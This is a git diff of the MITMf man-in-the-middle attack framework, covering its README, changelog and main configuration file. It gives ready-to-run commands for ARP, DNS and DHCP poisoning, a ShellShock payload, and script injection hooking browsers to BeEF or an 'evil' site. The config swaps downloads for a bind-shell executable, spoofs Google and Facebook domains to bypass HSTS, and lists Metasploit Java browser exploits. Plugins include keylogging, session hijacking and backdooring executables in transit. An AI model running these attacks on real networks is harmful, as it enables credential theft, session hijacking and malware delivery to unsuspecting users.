diff --git a/.coveragerc b/.coveragerc new file mode 100644 index 0000000..2a138cb --- /dev/null +++ b/.coveragerc @@ -0,0 +1,8 @@ +[run] +branch = True + +[report] +include = *core*, *libs*, *plugins* +exclude_lines = + pragma: nocover + pragma: no cover diff --git a/.gitignore b/.gitignore index fad281d..acdb2f6 100644 --- a/.gitignore +++ b/.gitignore @@ -1,3 +1,63 @@ -*.pyc /plugins/old_plugins/ backdoored/ +# Byte-compiled / optimized / DLL files +__pycache__/ +*.py[cod] + +# C extensions +*.so + +# Distribution / packaging +.Python +env/ +build/ +develop-eggs/ +dist/ +downloads/ +eggs/ +.eggs/ +lib/ +lib64/ +parts/ +sdist/ +var/ +*.egg-info/ +.installed.cfg +*.egg + +# PyInstaller +# Usually these files are written by a python script from a template +# before PyInstaller builds the exe, so as to inject date/other infos into it. +*.manifest +*.spec + +# Installer logs +pip-log.txt +pip-delete-this-directory.txt + +# Unit test / coverage reports +htmlcov/ +.tox/ +.coverage +.coverage.* +.cache +nosetests.xml +coverage.xml +*,cover + +# Translations +*.mo +*.pot + +# Django stuff: +*.log + +# Sphinx documentation +docs/_build/ + +# PyBuilder +target/ + +# OSX Stuff +.DS_Store +._.DS_Store diff --git a/.gitmodules b/.gitmodules index ca49b01..65a6dc5 100644 --- a/.gitmodules +++ b/.gitmodules @@ -1,12 +1,3 @@ [submodule "libs/bdfactory"] path = libs/bdfactory url = https://github.com/secretsquirrel/the-backdoor-factory -[submodule "libs/responder"] - path = libs/responder - url = https://github.com/byt3bl33d3r/Responder-MITMf -[submodule "core/beefapi"] - path = core/beefapi - url = https://github.com/byt3bl33d3r/beefapi -[submodule "libs/dnschef"] - path = libs/dnschef - url = https://github.com/byt3bl33d3r/dnschef diff --git a/.travis.yml b/.travis.yml new file mode 100644 index 0000000..1656a7a --- /dev/null +++ b/.travis.yml @@ -0,0 +1,27 @@ +language: python +python: + - "2.7" + +addons: + apt: + packages: + - libpcap0.8-dev + - libnetfilter-queue-dev + - libssl-dev + +notifications: + irc: + channels: + - "irc.freenode.org#MITMf" + template: + - "%{repository}#%{build_number} (%{branch} - %{commit} - %{commit_subject} : %{author}): %{message}" + skip_join: true + use_notice: true + +install: "pip install -r requirements.txt" +before_script: + - "pip install python-coveralls" +script: + - "nosetests --with-cov" +after_success: + - coveralls diff --git a/CHANGELOG.md b/CHANGELOG.md new file mode 100644 index 0000000..f2fc580 --- /dev/null +++ b/CHANGELOG.md @@ -0,0 +1,47 @@ +- Added active filtering/injection into the framework + +- Fixed a bug in the DHCP poisoner which prevented it from working on windows OS's + +- Made some preformance improvements to the ARP spoofing poisoner + +- Refactored Appcachepoison , BrowserSniper plugins + +- Refactored proxy plugin API + +-Inject plugin now uses BeautifulSoup4 to parse and inject HTML/JS + +- Added HTA Drive by plugin + +- Added the SMBTrap plugin + +- Config file now updates on the fly! + +- SessionHijacker is replaced with Ferret-NG captures cookies and starts a proxy that will feed them to connected clients + +- JavaPwn plugin replaced with BrowserSniper now supports Java, Flash and browser exploits + +- Addition of the Screenshotter plugin, able to render screenshots of a client's browser at regular intervals + +- Addition of a fully functional SMB server using the [Impacket](https://github.com/CoreSecurity/impacket) library + +- Addition of [DNSChef](https://github.com/iphelix/dnschef), the framework is now a IPv4/IPv6 (TCP & UDP) DNS server! Supported queries are: 'A', 'AAAA', 'MX', 'PTR', 'NS', 'CNAME', 'TXT', 'SOA', 'NAPTR', 'SRV', 'DNSKEY' and 'RRSIG' + +- Integrated [Net-Creds](https://github.com/DanMcInerney/net-creds) currently supported protocols are: FTP, IRC, POP, IMAP, Telnet, SMTP, SNMP (community strings), NTLMv1/v2 (all supported protocols like HTTP, SMB, LDAP etc.) and Kerberos + +- Integrated [Responder](https://github.com/SpiderLabs/Responder) to poison LLMNR, NBT-NS and MDNS and act as a rogue WPAD server + +- Integrated [SSLstrip+](https://github.com/LeonardoNve/sslstrip2) by Leonardo Nve to partially bypass HSTS as demonstrated at BlackHat Asia 2014 + +- Spoof plugin can now exploit the 'ShellShock' bug when DHCP spoofing + +- Spoof plugin now supports ICMP, ARP and DHCP spoofing + +- Usage of third party tools has been completely removed (e.g. Ettercap) + +- FilePwn plugin re-written to backdoor executables zip and tar files on the fly by using [the-backdoor-factory](https://github.com/secretsquirrel/the-backdoor-factory) and code from [BDFProxy](https://github.com/secretsquirrel/BDFProxy) + +- Added [msfrpc.py](https://github.com/byt3bl33d3r/msfrpc/blob/master/python-msfrpc/msfrpc.py) for interfacing with Metasploit's RPC server + +- Added [beefapi.py](https://github.com/byt3bl33d3r/beefapi) for interfacing with BeEF's RESTfulAPI + +- Addition of the app-cache poisoning attack by [Krzysztof Kotowicz](https://github.com/koto/sslstrip) (blogpost explaining the attack here: http://blog.kotowicz.net/2010/12/squid-imposter-phishing-websites.html) \ No newline at end of file diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md new file mode 100644 index 0000000..7154da3 --- /dev/null +++ b/CONTRIBUTING.md @@ -0,0 +1,52 @@ +Contributing +============ +Hi! Thanks for taking the time and contributing to MITMf! Pull requests are always welcome! + +Submitting Issues/Bug Reporting +============= + +Bug reporting is an essential part of any project since it let's people know whats broken! + +Before reading on, here's a list of cases where you **shouldn't** be reporting the bug: +- If you haven't installed MITMf using method described in the [installation](https://github.com/byt3bl33d3r/MITMf/wiki/Installation) intructions. (your fault!) +- If you're using and old version of the framework (and by old I mean anything else that **isn't** the current version on Github) +- If you found a bug in a packaged version of MITMf (e.g. Kali Repos), please file a bug report with the distros maintaner + +Lately, there has been a sharp **increase** in the volume of bug reports so in order for me to make any sense out of them and to quickly identify, reproduce and push a fix I do pretend a minimal amount of cooperation from the reporter! + +Writing the report +================== +**Before submitting a bug familiarize yourself with [Github markdown](https://help.github.com/articles/github-flavored-markdown/) and use it in your report!** + +After that, open an issue ticket and please describe the bug in **detail!** MITMf has a lot of moving parts so the more detail the better! + +Include in the report: +- The full command string you used +- The full output of: ```pip freeze``` +- The full output of MITMf in debug mode (append ```--log debug``` to the command you used) +- The OS you're using (distribution and architecture) +- The full error traceback (If any) +- If the bug resides in the way MITMf sends/receives packets, include a link to a pcap containing a full packet capture + +Some good & bad examples +========================= + +- How to write a bug report + +https://github.com/byt3bl33d3r/MITMf/issues/71 + +https://github.com/byt3bl33d3r/MITMf/issues/70 + +https://github.com/byt3bl33d3r/MITMf/issues/64 + +- How not to write a bug report + +https://github.com/byt3bl33d3r/MITMf/issues/35 <-- My personal favorite + +https://github.com/byt3bl33d3r/MITMf/issues/139 + +https://github.com/byt3bl33d3r/MITMf/issues/138 + +https://github.com/byt3bl33d3r/MITMf/issues/128 + +https://github.com/byt3bl33d3r/MITMf/issues/52 diff --git a/CONTRIBUTORS.md b/CONTRIBUTORS.md new file mode 100644 index 0000000..d0f9f61 --- /dev/null +++ b/CONTRIBUTORS.md @@ -0,0 +1,22 @@ +# Intentional contributors (in no particular order) + +- @rthijssen +- @ivangr0zni (Twitter) +- @xtr4nge +- @DrDinosaur +- @secretsquirrel +- @binkybear +- @0x27 +- @golind +- @mmetince +- @niallmerrigan +- @auraltension +- @HAMIDx9 + +# Unintentional contributors and/or projects that I stole code from + +- Metasploit Framework's os.js and Javascript Keylogger module +- Responder by Laurent Gaffie +- The Backdoor Factory and BDFProxy +- ARPWatch module from the Subterfuge Framework +- Impacket's KarmaSMB script diff --git a/README.md b/README.md old mode 100644 new mode 100755 index 2d26056..2b60ea0 --- a/README.md +++ b/README.md @@ -1,84 +1,171 @@ -MITMf V0.9.6 -============ +![Supported Python versions](https://img.shields.io/badge/python-2.7-blue.svg) +![Latest Version](https://img.shields.io/badge/mitmf-0.9.8%20--%20The%20Dark%20Side-red.svg) +![Supported OS](https://img.shields.io/badge/Supported%20OS-Linux-yellow.svg) +[![Code Climate](https://codeclimate.com/github/byt3bl33d3r/MITMf/badges/gpa.svg)](https://codeclimate.com/github/byt3bl33d3r/MITMf) +[![Build Status](https://travis-ci.org/byt3bl33d3r/MITMf.svg)](https://travis-ci.org/byt3bl33d3r/MITMf) +[![Coverage Status](https://coveralls.io/repos/byt3bl33d3r/MITMf/badge.svg?branch=master&service=github)](https://coveralls.io/github/byt3bl33d3r/MITMf?branch=master) + +# MITMf Framework for Man-In-The-Middle attacks -Quick tutorials, examples and dev updates at http://sign0f4.blogspot.it +**This project is no longer being updated. MITMf was written to address the need, at the time, of a modern tool for performing Man-In-The-Middle attacks. Since then many other tools have been created to fill this space, you should probably be using [Bettercap](https://github.com/bettercap/bettercap) as it is far more feature complete and better maintained.** + +Quick tutorials, examples and developer updates at: https://byt3bl33d3r.github.io This tool is based on [sergio-proxy](https://github.com/supernothing/sergio-proxy) and is an attempt to revive and update the project. -**Before submitting issues please read the appropriate [section](#submitting-issues).** +Contact me at: +- Twitter: @byt3bl33d3r +- IRC on Freenode: #MITMf +- Email: byt3bl33d3r@protonmail.com -(Another) Dependency change! -============================ -As of v0.9.6, the fork of the ```python-netfilterqueue``` library is no longer required. +**Before submitting issues, please read the relevant [section](https://github.com/byt3bl33d3r/MITMf/wiki/Reporting-a-bug) in the wiki .** Installation ============ -If MITMf is not in your distros repo or you just want the latest version: -- clone this repository -- run the ```setup.sh``` script -- run the command ```pip install -r requirements.txt``` to install all python dependencies -Availible plugins -================= -- Responder - LLMNR, NBT-NS and MDNS poisoner -- SSLstrip+ - Partially bypass HSTS -- Spoof - Redirect traffic using ARP Spoofing, ICMP Redirects or DHCP Spoofing and modify DNS queries -- Sniffer - Sniffs for various protocol login and auth attempts -- BeEFAutorun - Autoruns BeEF modules based on clients OS or browser type -- AppCachePoison - Perform app cache poison attacks -- SessionHijacking - Performs session hijacking attacks, and stores cookies in a firefox profile -- BrowserProfiler - Attempts to enumerate all browser plugins of connected clients -- CacheKill - Kills page caching by modifying headers -- FilePwn - Backdoor executables being sent over http using bdfactory -- Inject - Inject arbitrary content into HTML content -- JavaPwn - Performs drive-by attacks on clients with out-of-date java browser plugins -- jskeylogger - Injects a javascript keylogger into clients webpages -- Replace - Replace arbitary content in HTML content -- SMBAuth - Evoke SMB challenge-response auth attempts -- Upsidedownternet - Flips images 180 degrees +Please refer to the wiki for [installation instructions](https://github.com/byt3bl33d3r/MITMf/wiki/Installation) -Changelog -========= +Description +============ +MITMf aims to provide a one-stop-shop for Man-In-The-Middle and network attacks while updating and improving +existing attacks and techniques. -- Addition of [DNSChef](https://github.com/iphelix/dnschef), the framework is now a IPv4/IPv6 (TCP & UDP) DNS server ! Supported queries are: 'A', 'AAAA', 'MX', 'PTR', 'NS', 'CNAME', 'TXT', 'SOA', 'NAPTR', 'SRV', 'DNSKEY' and 'RRSIG' +Originally built to address the significant shortcomings of other tools (e.g Ettercap, Mallory), it's been almost completely +re-written from scratch to provide a modular and easily extendible framework that anyone can use to implement their own MITM attack. -- Addition of the Sniffer plugin which integrates [Net-Creds](https://github.com/DanMcInerney/net-creds) currently supported protocols are: - FTP, IRC, POP, IMAP, Telnet, SMTP, SNMP (community strings), NTLMv1/v2 (all supported protocols like HTTP, SMB, LDAP etc..) and Kerberos +Features +======== -- Integrated [Responder](https://github.com/SpiderLabs/Responder) to poison LLMNR, NBT-NS and MDNS, and act as a WPAD rogue server. +- The framework contains a built-in SMB, HTTP and DNS server that can be controlled and used by the various plugins, it also contains a modified version of the SSLStrip proxy that allows for HTTP modification and a partial HSTS bypass. -- Integrated [SSLstrip+](https://github.com/LeonardoNve/sslstrip2) by Leonardo Nve to partially bypass HSTS as demonstrated at BlackHat Asia 2014 +- As of version 0.9.8, MITMf supports active packet filtering and manipulation (basically what etterfilters did, only better), +allowing users to modify any type of traffic or protocol. -- Addition of the SessionHijacking plugin, which uses code from [FireLamb](https://github.com/sensepost/mana/tree/master/firelamb) to store cookies in a Firefox profile +- The configuration file can be edited on-the-fly while MITMf is running, the changes will be passed down through the framework: this allows you to tweak settings of plugins and servers while performing an attack. -- Spoof plugin can now exploit the 'ShellShock' bug when DHCP spoofing! +- MITMf will capture FTP, IRC, POP, IMAP, Telnet, SMTP, SNMP (community strings), NTLMv1/v2 (all supported protocols like HTTP, SMB, LDAP etc.) and Kerberos credentials by using [Net-Creds](https://github.com/DanMcInerney/net-creds), which is run on startup. -- Spoof plugin now supports ICMP, ARP and DHCP spoofing +- [Responder](https://github.com/SpiderLabs/Responder) integration allows for LLMNR, NBT-NS and MDNS poisoning and WPAD rogue server support. -- Usage of third party tools has been completely removed (e.g. ettercap) +Active packet filtering/modification +==================================== -- FilePwn plugin re-written to backdoor executables and zip files on the fly by using [the-backdoor-factory](https://github.com/secretsquirrel/the-backdoor-factory) and code from [BDFProxy](https://github.com/secretsquirrel/BDFProxy) +You can now modify any packet/protocol that gets intercepted by MITMf using Scapy! (no more etterfilters! yay!) -- Added [msfrpc.py](https://github.com/byt3bl33d3r/msfrpc/blob/master/python-msfrpc/msfrpc.py) for interfacing with Metasploits rpc server +For example, here's a stupid little filter that just changes the destination IP address of ICMP packets: -- Added [beefapi.py](https://github.com/byt3bl33d3r/beefapi) for interfacing with BeEF's RESTfulAPI +```python +if packet.haslayer(ICMP): + log.info('Got an ICMP packet!') + packet.dst = '192.168.1.0' +``` -- Addition of the app-cache poisoning attack by [Krzysztof Kotowicz](https://github.com/koto/sslstrip) (blogpost explaining the attack here http://blog.kotowicz.net/2010/12/squid-imposter-phishing-websites.html) +- Use the ```packet``` variable to access the packet in a Scapy compatible format +- Use the ```data``` variable to access the raw packet data -Submitting Issues -================= -If you have *questions* regarding the framework please email me at byt3bl33d3r@gmail.com +Now to use the filter all we need to do is: ```python mitmf.py -F ~/filter.py``` -If you find a *bug* please open an issue and include at least the following in the description: +You will probably want to combine that with the **Spoof** plugin to actually intercept packets from someone else ;) -- Full command string you used -- OS your using +**Note**: you can modify filters on-the-fly without restarting MITMf! -Also remember: Github markdown is your friend! +Examples +======== -How to install on Kali -====================== +The most basic usage, starts the HTTP proxy SMB,DNS,HTTP servers and Net-Creds on interface enp3s0: + +```python mitmf.py -i enp3s0``` + +ARP poison the whole subnet with the gateway at 192.168.1.1 using the **Spoof** plugin: + +```python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1``` + +Same as above + a WPAD rogue proxy server using the **Responder** plugin: + +```python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --responder --wpad``` + +ARP poison 192.168.1.16-45 and 192.168.0.1/24 with the gateway at 192.168.1.1: + +```python mitmf.py -i enp3s0 --spoof --arp --target 192.168.2.16-45,192.168.0.1/24 --gateway 192.168.1.1``` + +Enable DNS spoofing while ARP poisoning (Domains to spoof are pulled from the config file): + +```python mitmf.py -i enp3s0 --spoof --dns --arp --target 192.168.1.0/24 --gateway 192.168.1.1``` + +Enable LLMNR/NBTNS/MDNS spoofing: + +```python mitmf.py -i enp3s0 --responder --wredir --nbtns``` + +Enable DHCP spoofing (the ip pool and subnet are pulled from the config file): + +```python mitmf.py -i enp3s0 --spoof --dhcp``` + +Same as above with a ShellShock payload that will be executed if any client is vulnerable: + +```python mitmf.py -i enp3s0 --spoof --dhcp --shellshock 'echo 0wn3d'``` + +Inject an HTML IFrame using the **Inject** plugin: + +```python mitmf.py -i enp3s0 --inject --html-url http://some-evil-website.com``` + +Inject a JS script: + +```python mitmf.py -i enp3s0 --inject --js-url http://beef:3000/hook.js``` + +Start a captive portal that redirects everything to http://SERVER/PATH: + +```python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portalurl http://SERVER/PATH``` + +Start captive portal at http://your-ip/portal.html using default page /portal.html (thx responder) and /CaptiveClient.exe (not included) from the config/captive folder: + +```python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive``` + +Same as above but with hostname captive.portal instead of IP (requires captive.portal to resolve to your IP, e.g. via DNS spoof): + +```python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --use-dns``` + +Serve a captive portal with an additional SimpleHTTPServer instance serving the LOCALDIR at http://IP:8080 (change port in mitmf.config): + +```python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portaldir LOCALDIR``` + +Same as above but with hostname: + +```python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --portaldir LOCALDIR --use-dns``` + +And much much more! + +Of course you can mix and match almost any plugin together (e.g. ARP spoof + inject + Responder etc..) + +For a complete list of available options, just run ```python mitmf.py --help``` + +# Currently available plugins + +- **HTA Drive-By** : Injects a fake update notification and prompts clients to download an HTA application +- **SMBTrap** : Exploits the 'SMB Trap' vulnerability on connected clients +- **ScreenShotter** : Uses HTML5 Canvas to render an accurate screenshot of a clients browser +- **Responder** : LLMNR, NBT-NS, WPAD and MDNS poisoner +- **SSLstrip+** : Partially bypass HSTS +- **Spoof** : Redirect traffic using ARP, ICMP, DHCP or DNS spoofing +- **BeEFAutorun** : Autoruns BeEF modules based on a client's OS or browser type +- **AppCachePoison** : Performs HTML5 App-Cache poisoning attacks +- **Ferret-NG** : Transparently hijacks client sessions +- **BrowserProfiler** : Attempts to enumerate all browser plugins of connected clients +- **FilePwn** : Backdoor executables sent over HTTP using the Backdoor Factory and BDFProxy +- **Inject** : Inject arbitrary content into HTML content +- **BrowserSniper** : Performs drive-by attacks on clients with out-of-date browser plugins +- **JSkeylogger** : Injects a Javascript keylogger into a client's webpages +- **Replace** : Replace arbitrary content in HTML content +- **SMBAuth** : Evoke SMB challenge-response authentication attempts +- **Upsidedownternet** : Flips images 180 degrees +- **Captive** : Creates a captive portal, redirecting HTTP requests using 302 + +# How to fund my tea & sushi reserve + +BTC: 1ER8rRE6NTZ7RHN88zc6JY87LvtyuRUJGU + +ETH: 0x91d9aDCf8B91f55BCBF0841616A01BeE551E90ee + +LTC: LLMa2bsvXbgBGnnBwiXYazsj7Uz6zRe4fr -```apt-get install mitmf``` diff --git a/config/app_cache_poison_templates/default.append b/config/app_cache_poison_templates/default.append index 169e917..9c40f8d 100644 --- a/config/app_cache_poison_templates/default.append +++ b/config/app_cache_poison_templates/default.append @@ -34,5 +34,5 @@

AppCache Poison works!

-

%%tamper_url%% page is spoofed with AppCache Poison by Krzysztof Kotowicz, but this is just a default content. To replace it, create appropriate files in your templates directory and add your content there.

+

This page is spoofed with AppCache Poison by Krzysztof Kotowicz, but this is just a default content. To replace it, create appropriate files in your templates directory and add your content there.

\ No newline at end of file diff --git a/config/app_cache_poison_templates/script.append b/config/app_cache_poison_templates/script.append index 4289f38..2ff38fb 100644 --- a/config/app_cache_poison_templates/script.append +++ b/config/app_cache_poison_templates/script.append @@ -1,2 +1,2 @@ -;console.log('AppCache Poison was here. Google Analytics FTW'); \ No newline at end of file +;alert('AppCache Poison was here. Google Analytics FTW'); \ No newline at end of file diff --git a/config/captive/portal.html b/config/captive/portal.html new file mode 100755 index 0000000..80b0cac --- /dev/null +++ b/config/captive/portal.html @@ -0,0 +1,31 @@ + + +Captive Portal + + + + +
+
+
Client Required
+ +
+ +
+ + + diff --git a/config/hta_driveby/flash_setup.hta b/config/hta_driveby/flash_setup.hta new file mode 100644 index 0000000..38adcf1 --- /dev/null +++ b/config/hta_driveby/flash_setup.hta @@ -0,0 +1,4 @@ + \ No newline at end of file diff --git a/config/mitmf.conf b/config/mitmf.conf old mode 100644 new mode 100755 index f1f5b32..1e78825 --- a/config/mitmf.conf +++ b/config/mitmf.conf @@ -1,46 +1,44 @@ # -#MITMf configuration file +# MITMf configuration file # [MITMf] - - # - #here you can set the arguments to pass to MITMf when it starts so all you need to do is run `python mitmf.py` - #(assuming you config file is in the default directory) - # - args='' - #Required BeEF and Metasploit options + # Required BeEF and Metasploit options [[BeEF]] - beefip = 127.0.0.1 - beefport = 3000 + host = 127.0.0.1 + port = 3000 user = beef pass = beef [[Metasploit]] - msfport = 8080 #Port to start webserver for exploits rpcip = 127.0.0.1 + rpcport = 55552 rpcpass = abc123 + [[MITMf-API]] + host = 127.0.0.1 + port = 9999 + [[DNS]] # - #Here you can configure MITMf's internal DNS server + # Here you can configure MITMf's internal DNS server # - resolver = dnschef #Can be set to 'twisted' or 'dnschef' ('dnschef' is highly reccomended) - tcp = Off #Use the TCP DNS proxy instead of the default UDP (not fully tested, might break stuff!) - port = 53 #Port to listen on - ipv6 = Off #Run in IPv6 mode (not fully tested, might break stuff!) + tcp = Off # Use the TCP DNS proxy instead of the default UDP (not fully tested, might break stuff!) + port = 53 # Port to listen on + ipv6 = Off # Run in IPv6 mode (not fully tested, might break stuff!) # - #Supported formats are 8.8.8.8#53 or 4.2.2.1#53#tcp or 2001:4860:4860::8888 - #can also be a comma seperated list e.g 8.8.8.8,8.8.4.4 + # Supported formats are 8.8.8.8#53 or 4.2.2.1#53#tcp or 2001:4860:4860::8888 + # can also be a comma seperated list e.g 8.8.8.8,8.8.4.4 # nameservers = 8.8.8.8 [[[A]]] # Queries for IPv4 address records - *.thesprawl.org=192.0.2.1 + *.thesprawl.org=192.168.178.27 + *.captive.portal=192.168.1.100 [[[AAAA]]] # Queries for IPv6 address records *.thesprawl.org=2001:db8::1 @@ -76,105 +74,110 @@ *.thesprawl.org=A 5 3 86400 20030322173103 20030220173103 2642 thesprawl.org. oJB1W6WNGv+ldvQ3WDG0MQkg5IEhjRip8WTrPYGv07h108dUKGMeDPKijVCHX3DDKdfb+v6oB9wfuh3DTJXUAfI/M0zmO/zz8bW0Rznl8O3tGNazPwQKkRN20XPXV6nwwfoXmJQbsLNrLfkGJ5D6fwFm8nN+6pBzeDQfsS3Ap3o= # -#Plugin configuration starts here +# Plugin configuration starts here # +[Captive] -[Spoof] + # Set Server Port and string if we are serving our own portal from SimpleHTTPServer (80 is already used by default server) + Port = 8080 + ServerString = "Captive Server 1.0" - [[DHCP]] - ip_pool = 192.168.2.10-50 - subnet = 255.255.255.0 - dns_server = 192.168.2.20 #optional + # Set the filename served as /CaptivePortal.exe by integrated http server + PayloadFilename = config/captive/calc.exe + +[Replace] + + [[Regex1]] + 'Google Search' = '44CON' + + [[Regex2]] + "I'm Feeling Lucky" = "I'm Feeling Something In My Pants" + +[Ferret-NG] + # + # Here you can specify the client to hijack sessions from + # + + Client = '10.0.237.91' + +[SSLstrip+] + + # + #Here you can configure your domains to bypass HSTS on, the format is real.domain.com = fake.domain.com + # + + #for google and gmail + accounts.google.com = account.google.com + mail.google.com = gmail.google.com + accounts.google.se = cuentas.google.se + + #for facebook + www.facebook.com = social.facebook.com [Responder] - #Set these values to On or Off, so you can control which rogue authentication server is turned on. - SQL = On - SMB = On - Kerberos = On - FTP = On - POP = On - ##Listen on 25/TCP, 587/TCP - SMTP = On - IMAP = On - HTTP = On + #Servers to start + SQL = On HTTPS = On + Kerberos = On + FTP = On + POP = On + SMTP = On + IMAP = On LDAP = On - #Set a custom challenge + #Custom challenge Challenge = 1122334455667788 - #Set this to change the default logging file - SessionLog = Responder-Session.log - - #Set this option with your in-scope targets (default = All). Example: RespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119 - #RespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119 + #Specific IP Addresses to respond to (default = All) + #Example: RespondTo = 10.20.1.100-150, 10.20.3.10 RespondTo = - #Set this option with specific NBT-NS/LLMNR names to answer to (default = All). Example: RespondTo = WPAD,DEV,PROD,SQLINT - #RespondTo = WPAD,DEV,PROD,SQLINT + + #Specific NBT-NS/LLMNR names to respond to (default = All) + #Example: RespondTo = WPAD, DEV, PROD, SQLINT RespondToName = - #DontRespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119 + #Specific IP Addresses not to respond to (default = None) + #Example: DontRespondTo = 10.20.1.100-150, 10.20.3.10 DontRespondTo = - #Set this option with specific NBT-NS/LLMNR names not to respond to (default = None). Example: DontRespondTo = NAC, IPS, IDS + + #Specific NBT-NS/LLMNR names not to respond to (default = None) + #Example: DontRespondTo = NAC, IPS, IDS DontRespondToName = [[HTTP Server]] - #Set this to On if you want to always serve a specific file to the victim. + #Set to On to always serve the custom EXE Serve-Always = Off - #Set this to On if you want to serve an executable file each time a .exe is detected in an URL. - Serve-Exe = Off + #Set to On to replace any requested .exe with the custom EXE + Serve-Exe = On - #Uncomment and specify a custom file to serve, the file must exist. - Filename = config/responder/Denied.html + #Set to On to serve the custom HTML if the URL does not contain .exe + Serve-Html = Off - #Specify a custom executable file to serve, the file must exist. - ExecFilename = config/responder/FixInternet.exe + #Custom HTML to serve + HtmlFilename = config/responder/AccessDenied.html - #Set your custom PAC script - WPADScript = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return "PROXY ISAProxySrv:3141; DIRECT";}' + #Custom EXE File to serve + ExeFilename = config/responder/BindShell.exe + + #Name of the downloaded .exe that the client will see + ExeDownloadName = ProxyClient.exe + + #Custom WPAD Script + WPADScript = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';}' + + #HTML answer to inject in HTTP responses (before tag). + #Set to an empty string to disable. + #In this example, we redirect make users' browsers issue a request to our rogue SMB server. + HTMLToInject = Loading [[HTTPS Server]] - #Change to use your certs - cert = config/responder/certs/responder.crt - key = config/responder/certs/responder.key - - -[BeEFAutorun] - #Example config for the BeefAutorun plugin - - mode = oneshot - #can be set to loop, or oneshot - - #in loop mode the plugin will run modules on all hooked browsers every 10 seconds - #in oneshot mode the plugin will run modules only once per hooked browser - - [[ALL]] #Runs specified modules on all hooked browsers - - 'Man-In-The-Browser'= '{}' - - [[targets]] #Runs specified modules based on OS and Browser type - - [[[Windows]]] #Target all Windows versions using Firefox and Internet Explorer - - [[[[FF]]]] - 'Fake Notification Bar (Firefox)' = '{"url": "http://example.com/payload", "notification_text": "Click this if you dare"}' - - [[[[IE]]]] - 'Fake Notification Bar (IE)' = '{"notification_text": "Click this if you dare"}' - - [[[Windows 7]]] #Target only Windows 7 using Chrome - - [[[[C]]]] - 'Fake Notification Bar (Chrome)' = '{"url": "http://example.com/payload", "notification_text: "Click this if you dare"}' - - [[[Linux]]] #Target Linux platforms using Chrome - - [[[[C]]]] - 'Redirect Browser (Rickroll)' = '{}' + #Configure SSL Certificates to use + SSLCert = config/responder/responder.crt + SSLKey = config/responder/responder.key [AppCachePoison] # HTML5 AppCache poisioning attack @@ -204,18 +207,9 @@ templates=test # which templates to use for spoofing content? skip_in_mass_poison=1 - [[gmail]] - #use absolute URLs - system tracks 30x redirects, so you can put any URL that belongs to the redirection loop here - - tamper_url=http://mail.google.com/mail/ - - # manifest has to be of last domain in redirect loop - - manifest_url=http://mail.google.com/robots.txt - templates=default # could be omitted - [[google]] - tamper_url = http://www.google.com/ + tamper_url_match = http://www.google.com\.*. + tamper_url = http://www.google.com manifest_url = http://www.google.com/robots.txt [[facebook]] @@ -225,7 +219,7 @@ [[twitter]] tamper_url=http://twitter.com/ - #tamper_url_match=^http://(www\.)?twitter\.com/$ + tamper_url_match=^http://(www\.)?twitter\.com/$ manifest_url=http://twitter.com/robots.txt [[html5rocks]] @@ -243,88 +237,167 @@ skip_in_mass_poison=1 #you can add other scripts in additional sections like jQuery etc. -[JavaPwn] +[BrowserSniper] + # + # Currently only supports java, flash and browser exploits + # + # The version strings were pulled from http://www.cvedetails.com + # + # When adding java exploits remember the following format: version string (eg 1.6.0) + update version (eg 28) = 1.6.0.28 + # - # - # All versions strings without a * are considered vulnerable if clients Java version is <= update version - # When adding more exploits remember the following format: version string (eg 1.6.0) + update version (eg 28) = 1.6.0.28 - # + msfport = 8080 # Port to start Metasploit's webserver which will host the exploits - [[Multi]] #Cross platform exploits, yay java! <3 + [[exploits]] - multi/browser/java_rhino = 1.6.0.28, 1.7.0.28 - multi/browser/java_calendar_deserialize = 1.6.0.10, 1.5.0.16 - multi/browser/java_getsoundbank_bof = 1.6.0.16, 1.5.0.21, 1.4.2.23, 1.3.1.26 - multi/browser/java_atomicreferencearray = 1.6.0.30, 1.5.0.33, 1.7.0.2 - multi/browser/java_jre17_exec = 1.7.0.6 - multi/browser/java_jre17_jaxws = 1.7.0.7 - multi/browser/java_jre17_jmxbean = 1.7.0.10 - multi/browser/java_jre17_jmxbean_2 = 1.7.0.11 - multi/browser/java_jre17_reflection_types = 1.7.0.17 - multi/browser/java_verifier_field_access = 1.7.0.4, 1.6.0.32, 1.5.0.35, 1.4.2.37 - multi/browser/java_jre17_glassfish_averagerangestatisticimpl = 1.7.0.7 - multi/browser/java_jre17_method_handle = 1.7.0.7 - multi/browser/java_jre17_driver_manager = 1.7.0.17 - multi/browser/java_jre17_provider_skeleton = 1.7.0.21 - multi/browser/java_storeimagearray = 1.7.0.21 - multi/browser/java_setdifficm_bof = *1.6.0.16, *1.6.0.11 + [[[multi/browser/java_rhino]]] #Exploit's MSF path + + Type = PluginVuln #Can be set to PluginVuln, BrowserVuln + OS = Any #Can be set to Any, Windows or Windows + version (e.g Windows 8.1) - [[Windows]] #These are windows specific + Browser = Any #Can be set to Any, Chrome, Firefox, MSIE or browser + version (e.g IE 6) + Plugin = Java #Can be set to Java, Flash (if Type is BrowserVuln will be ignored) - windows/browser/java_ws_double_quote = 1.6.0.35, 1.7.0.7 - windows/browser/java_cmm = 1.6.0.41, 1.7.0.15 - windows/browser/java_mixer_sequencer = 1.6.0.18 + #An exact list of the plugin versions affected (if Type is BrowserVuln will be ignored) + PluginVersions = 1.6.0, 1.6.0.1, 